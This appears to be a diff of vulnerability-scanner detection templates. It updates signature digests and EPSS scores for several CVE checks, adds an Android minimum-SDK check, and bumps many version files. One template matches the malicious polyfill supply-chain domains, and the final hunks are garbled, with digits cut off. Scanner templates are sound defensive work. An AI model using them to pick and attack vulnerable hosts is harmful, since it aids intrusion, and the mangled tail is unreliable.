@@ -81,4 +81,4 @@ dns:
        name: "edge-cast"
        words:
          - "edgecastdns.net"
-# digest: 4a0a0047304502201b014b850de6afd80930aab44c0b8ef3dbf78fc711998bf02842dff5deb0b88c0221008b20922bbf9174300e6fd69e9aaaa105cda2a68deb9131585a0b979e6977ebc6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022007358f350401a1b58f1ec32f847a4bdfb18e50d31b8fab1828c2b0c3fdf4f947022100c25b7a4d20d8a46b610a870f9ddbea4f3f12f526e57db0e00a73f45337dbfbdf:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=spf1(.+)"
-# digest: 4a0a0047304502201a80eef0948b669451e35af57f34a285dd18e99863dc01e2f8a5825316dbb6070221009582065ff0f57a55a79491f6e412b48a2876d518aaa11f5ba670623985becb81:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c01508a4252bce667206d754ffed70a8d0cf3eb514703fe5842f02d5720c534022100b987bd973849478d4c59058624576c9806976d4b6e7514b352833b5369f7ebc1:922c64590222798bb761d5b6d8e72950
@@ -218,4 +218,4 @@ dns:
        name: "whimsical"
        words:
          - "whimsical"
-# digest: 490a0046304402201b8a2f7756c39eb9d841ad6bed8707529fdba56678ddb77218120e8092e29edf0220410b67a1f06deab5a57758af1de18a543fb6bd0ccd14e8f7ced57e902ad43764:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200dae5dc0e8e008f0074bdc8fbe55d26fb5c96ae58f43710893555efbcb2724c302200e12c144c858b2c53080d8cade5eba414e6a7951d394c087429dd8922c3c4831:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,23 @@
+id: android-minsdk-21
+
+info:
+  name: AndroidManifest.xml minSdkVersion Set to 21 (Insecure Minimum SDK Version)
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The AndroidManifest.xml file specifies the minSdkVersion as 21, which permits the application to run on devices with outdated Android versions. Older Android platforms may lack essential security features and are more likely to contain known vulnerabilities, increasing the overall risk to the application and its users.
+  metadata:
+    verified: true
+    github-query: path:**/AndroidManifest.xml
+  tags: android,file
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "android:minSdkVersion\\s*=\\s*['\"]21['\"]"
+# digest: 4a0a00473045022100db31ac3dc79f5a0d16e07cb7b5b5ba6fee98cb1b330a700e229a0dc9acfd421c02202b02d824b74ffd5db6129527a8f2892238d26e23248662526c66799ad8d4a084:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4a0a0047304502202a353aa6ffd03cd672ec3eac07aa50ee0cc253e3f2ab77a60a1822213800954f02210084a8c88b2b3f3d0221cbd638ea178f41c7d5c24f6003a26f3cf1b92c1f00d823:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dec910af6434c193c5f733ffd89c161047ffc838eb5012281a3475d94aadafe80220654b83eebe67d34d91da8a8709c1cb1bb05bd3cd23aefaecde43e664d828d0a8:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022005aa6b6efd3303eca926d4bf866aa15d3ddf7d8632e656a226e6d4fe330c57c4022100a429d7b41b078ee1022f7668561c88dca59d9bcfdc719a89a06b3f59e5ad82ff:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022053f139b0c7ac98002bb2f98cbf81064c0e83f458257755e346e366fbc8f2972b02210083d3f8e7e1fd0a73074abfee15d5aee0262a11bb3cc7604de8bd1d9926915b62:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ headless:
      - type: status
        status:
          - 200
-# digest: 490a0046304402204bd7a6dd3200bb2986867fb7861fe79e6c312304a713b821b90f69a4be3cbcaa0220338d667eb56ce47522b9c41840c6dc6809cc0901db648a9beea26d59c15fd7b1:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203dd51450e01d8640405d801116b427f5707bf2d2ebd001511ec5f300ab5d7f1302205276f447a2b383ba799a55f8786e86be7874c45a6a6635477bc427eb5d2f8789:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
-    epss-score: 0.00265
-    epss-percentile: 0.65516
+    epss-score: 0.81869
+    epss-percentile: 0.99147
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -54,4 +54,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4a0a004730450220562625cf9d0b39525c5dea0c5f836c056faf8eaf4af1167015f8ecd599dda471022100ff45c3d91cd24bcb60b6dc6b97ba00415f73dec7cec12a2290e62d0c4e289b8a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a2f7e5ac70597ad87663ef0c9ad4bee161a599d2e03938161ace1128046c9b20022046775d61a5e4cae1d9c124ef010c9e100dcf6f7b6b078485fc0fe735de5c59d6:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2022-29455
    cwe-id: CWE-79
-    epss-score: 0.0019
-    epss-percentile: 0.56534
+    epss-score: 0.69783
+    epss-percentile: 0.98579
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -52,4 +52,4 @@ headless:
        words:
          - "elementor"
        case-insensitive: true
-# digest: 490a004630440220602c65b98033eb217f85849d2f2f124d75439e00178c3544bdb4774eea850caf02203bb0d3421c9df657e3bc20ecded48468db5bc3cb91424bb28d5abc6ca6d3b7b6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c2fd9fc4a0789a1c7b95d4c984fecbd1f75987a198917b15db7b62868a38a083022100a5eeeed98eceab08457e1389b8147321f4b7e66ffc77684f3a4ddcfa533defd7:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-score: 7.2
    cve-id: CVE-2024-29882
    cwe-id: CWE-79
-    epss-score: 0.00043
-    epss-percentile: 0.09568
+    epss-score: 0.02012
+    epss-percentile: 0.82957
  metadata:
    verified: true
    max-request: 1
@@ -46,4 +46,4 @@ headless:
          - "ConnectSRS</a>"
        condition: or
        case-insensitive: true
-# digest: 4a0a00473045022100910e5ce652f76d349702c7adc5d5b6b479e14b984978fa2f86a47498f11167d2022000daa49aed583b6da8b47060d9389e38c4d7046e2304d059377360d1d199f89e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206cddf49edf926f4a2fc79e6bc3d44c28d92452607fab4a78c546667823eea63e022078814f733d0906b711afdbd5826bb664f3171ae8c38e5d175d567d52c877d89c:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
    cvss-score: 7.2
    cve-id: CVE-2024-38526
-    epss-score: 0.00045
-    epss-percentile: 0.16001
+    epss-score: 0.66721
+    epss-percentile: 0.98451
  tags: cve,cve2024,supply-chain,polyfill
 headless:
  - steps:
@@ -60,4 +60,4 @@ headless:
          - "union.macoms.la"
          - "newcrbpc.com"
        part: urls
-# digest: 4a0a00473045022100ab5c8f20bf119770c476bcf509788840cc4b8027283c225e8e9c77229e207bc5022011da301a71875b08f2ef2e11457cb76b757c8e53122e82b859b747db224ec683:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100db8ee4bad1a3f649738173744c0b13228813c8f6149eed8ce1b9428955372d7a0221009d6fdcfee495e43dc703fb4ae3f9b8928359673160b77f0da6b553db315ad3d0:922c64590222798bb761d5b6d8e72950
@@ -16,8 +16,8 @@ info:
    cvss-score: 4.4
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
-    epss-score: 0.04
-    epss-percentile: 11.4
+    epss-score: 0.38601
+    epss-percentile: 0.97094
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
@@ -186,4 +186,4 @@ headless:
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message
-# digest: 4a0a0047304502202a21d134e954969443587f1c8f07043ff530af431ecf2c68b90e6f73501d012802210087447ccb9fb5bd47c55c968e1bacdc968d0bdaa9f77b4f3f35aa412e751ed42f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a5afa1435b236d15615599536490803e61d1c57bd159c9b2a6d7c074e3204e3302207728ec9bdeffa792d62a6f7de273d13f778a88f935ffbeefb406321f35b0d011:922c64590222798bb761d5b6d8e72950
@@ -15,6 +15,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2025-29927
    cwe-id: CWE-285
+    epss-score: 0.93584
+    epss-percentile: 0.99830
  metadata:
    vendor: vercel
    product: Next.js
@@ -53,4 +55,4 @@ headless:
          - "compare_versions(nextjs_version, '> 14.0.0', '< 14.2.25')"
          - "compare_versions(nextjs_version, '> 15.0.0', '< 15.2.3')"
        condition: or
-# digest: 4a0a00473045022100e7ef01315b5c9dff2e5567ad1421f5cf95ccaa62554a094e5faada3fe08261a10220611dab02751e9a58d17176f3632bd8a638191fc08abc6b7453a34abb9de3a5a0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ac16c24521b6360ac31bb606cdd5d22561a0167e15754eaaeec4787f65c638ba02206be9686219a9c2c21158e2e62acd2880dd2cbe0e89fba4180e1d9a9c1504d7c1:922c64590222798bb761d5b6d8e72950
@@ -1 +1 @@
-2.8.3
+2.8.4
@@ -1 +1 @@
-4.8.3.2
+4.8.4.1
@@ -1 +1 @@
-4.4.24
+4.4.28
@@ -1 +1 @@
-1.4.5
+1.4.6
@@ -1 +1 @@
-2.2.13
+2.2.14
@@ -1 +1 @@
-3.4.4
+3.4.5
@@ -1 +1 @@
-4.23
+4.24
@@ -1 +1 @@
-7.4.0.1
+7.4.1
@@ -1 +1 @@
-6.0.6
+6.1
@@ -1 +1 @@
-1.3.0
+1.3.2
@@ -1 +1 @@
-3.2.10
+3.3.1
@@ -1 +1 @@
-2.1.14
+2.1.15
@@ -1 +1 @@
-4.5.4
+4.5.5
@@ -1 +1 @@
-3.29.2
+3.30.0
@@ -1 +1 @@
-3.5.2
+3.5.4
@@ -1 +1 @@
-6.1.18
+6.2.0
@@ -1 +1 @@
-3.5.2
+3.5.4
@@ -1 +1 @@
-1.44.2
+1.44.3
@@ -1 +1 @@
-8.6.1
+8.6.2
@@ -1 +1 @@
-9.5.3
+9.6.1
@@ -1 +1 @@
-2.9.13
+3.1.0
@@ -1 +1 @@
-1.154.0
+1.156.0
@@ -1 +1 @@
-21.0.0
+21.1.0
@@ -1 +1 @@
-3.17.0
+3.18.0
@@ -1 +1 @@
-2.4.0
+2.4.3
@@ -1 +1 @@
-6.0.2
+6.0.3
@@ -1 +1 @@
-3.0.39
+3.0.42
@@ -1 +1 @@
-2.2.8
+2.2.9
@@ -1 +1 @@
-14.7
+14.8
@@ -1 +1 @@
-3.5.10
+3.5.12
@@ -1 +1 @@
-7.1
+7.2
@@ -1 +1 @@
-2.0.0
+2.0.1
@@ -1 +1 @@
-4.10.4
+4.10.5
@@ -1 +1 @@
-5.12.6
+5.12.9
@@ -1 +1 @@
-3.5
+3.6.1
@@ -1 +1 @@
-3.9.9
+4.0.1
@@ -1 +1 @@
-8.9.0
+8.9.1
@@ -1 +1 @@
-3.10.1
+3.10.3
@@ -1 +1 @@
-4.1.3
+4.1.4
@@ -1 +1 @@
-3.0.12
+3.1.0
@@ -1 +1 @@
-1.4.20
+1.4.21
@@ -1 +1 @@
-11.0.0.2
+11.0.0.4
@@ -1 +1 @@
 .8.3
 .8.4
@@ -1 +1 @@
 .8.3.2
 .8.4.1
@@ -1 +1 @@
 .4.24
 .4.28
@@ -1 +1 @@
 .4.5
 .4.6
@@ -1 +1 @@
 .2.13
 .2.14
@@ -1 +1 @@
 .4.4
 .4.5
@@ -1 +1 @@
 .23
 .24
@@ -1 +1 @@
 .4.0.1
 .4.1
@@ -1 +1 @@
 .0.6
 .1
@@ -1 +1 @@
 .3.0
 .3.2